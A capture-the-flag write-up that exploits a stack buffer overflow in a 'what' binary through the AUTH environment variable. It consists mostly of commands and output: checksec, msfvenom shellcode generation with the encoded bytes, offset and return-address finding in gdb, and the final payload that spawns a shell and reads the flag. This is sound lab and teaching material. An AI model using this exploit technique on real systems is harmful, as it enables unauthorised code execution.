set environment AUTH = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9/schadenfreude

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x37654136 in ?? ()

On our server:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/exec CMD="/bin/sh" -b '\x0a\x0d\x2f\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
export buf=\
$'\xbf\xd0\xe8\x51\x87\xdb\xd7\xd9\x74\x24\xf4\x5d\x31\xc9'\
$'\xb1\x0b\x31\x7d\x15\x83\xc5\x04\x03\x7d\x11\xe2\x25\x82'\
$'\x5a\xdf\x5c\x01\x3b\xb7\x73\xc5\x4a\xa0\xe3\x26\x3e\x47'\
$'\xf3\x50\xef\xf5\x9a\xce\x66\x1a\x0e\xe7\x71\xdd\xae\xf7'\
$'\xae\xbf\xc7\x99\x9f\x4c\x7f\x66\xb7\xe1\xf6\x87\xfa\x86'

CTF server:

[ctf-7119@icectf-shell /home/what]$ export buf=\
> $'\xbf\xd0\xe8\x51\x87\xdb\xd7\xd9\x74\x24\xf4\x5d\x31\xc9'\
> $'\xb1\x0b\x31\x7d\x15\x83\xc5\x04\x03\x7d\x11\xe2\x25\x82'\
> $'\x5a\xdf\x5c\x01\x3b\xb7\x73\xc5\x4a\xa0\xe3\x26\x3e\x47'\
> $'\xf3\x50\xef\xf5\x9a\xce\x66\x1a\x0e\xe7\x71\xdd\xae\xf7'\
> $'\xae\xbf\xc7\x99\x9f\x4c\x7f\x66\xb7\xe1\xf6\x87\xfa\x86'

[ctf-7119@icectf-shell /t/.sine]$ cp /home/what/what .

[ctf-7119@icectf-shell /t/.sine]$ AUTH=$(python -c 'import os; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + "XXXX" + "/schadenfreude"') ./what ausgeschnitzel flugelfragen
Authenticating...
[1]    24497 segmentation fault (core dumped)  AUTH= ./what ausgeschnitzel flugelfragen

[ctf-7119@icectf-shell /t/.sine]$ gdb -q -ex 'q' ./what core.24497
Reading symbols from /tmp/.sine/what...(no debugging symbols found)...done.
[New LWP 24497]
Core was generated by `./what ausgeschnitzel flugelfragen'.
Program terminated with signal 11, Segmentation fault.
#0  0x58585858 in ?? ()

Now we only need to jump to our shellcode

[ctf-7119@icectf-shell /t/.sine]$ git clone https://github.com/hellman/fixenv

[ctf-7119@icectf-shell /t/.sine/fixenv]$ export AUTH=$(python -c 'import os; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + "XXXX" + "/schadenfreude"')

[ctf-7119@icectf-shell /t/.sine/fixenv]$ ./r.sh gdb /home/what/what ausgeschnitzel flugelfragen

(gdb) b *0x0804869E
Breakpoint 1 at 0x804869e

(gdb) r
Starting program: /tmp/.sine/fixenv/.launcher
Breakpoint 1, 0x0804869e in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-78.el7.i686

(gdb) x /500s $esp
...
0xffffdd25:	"AUTH=\277\320\350Q\207\333\327\331t$\364]1\311\261\v1}\025\203\305\004\003}\021\342%\202Z\337\\\001;\267s\305J\240\343&>G\363P\357\365\232\316f\032\016\347q\335\256\367\256\277\307\231\237L\177f\267\341\366\207\372\206", 'X' <repeats 74 times>, "/schadenfreude"

(gdb) x /s 0xffffdd2a
0xffffdd2a:	"\277\320\350Q\207\333\327\331t$\364]1\311\261\v1}\025\203\305\004\003}\021\342%\202Z\337\\\001;\267s\305J\240\343&>G\363P\357\365\232\316f\032\016\347q\335\256\367\256\277\307\231\237L\177f\267\341\366\207\372\206", 'X' <repeats 70 times>, "0\335\377\377/schadenfreude"
...

[ctf-7119@icectf-shell /t/.sine/fixenv]$ export AUTH=$(python -c 'import os; import struct; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + struct.pack("<I", 0xffffdd2a) + "/schadenfreude"')

[ctf-7119@icectf-shell /t/.sine/fixenv]$ ./r.sh /home/what/what ausgeschnitzel flugelfragen
Authenticating...

sh-4.2$ id
uid=1148(ctf-7119) gid=1102(what) groups=1002(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ cat /home/what/flag.txt

flag_squeamish_ossifrage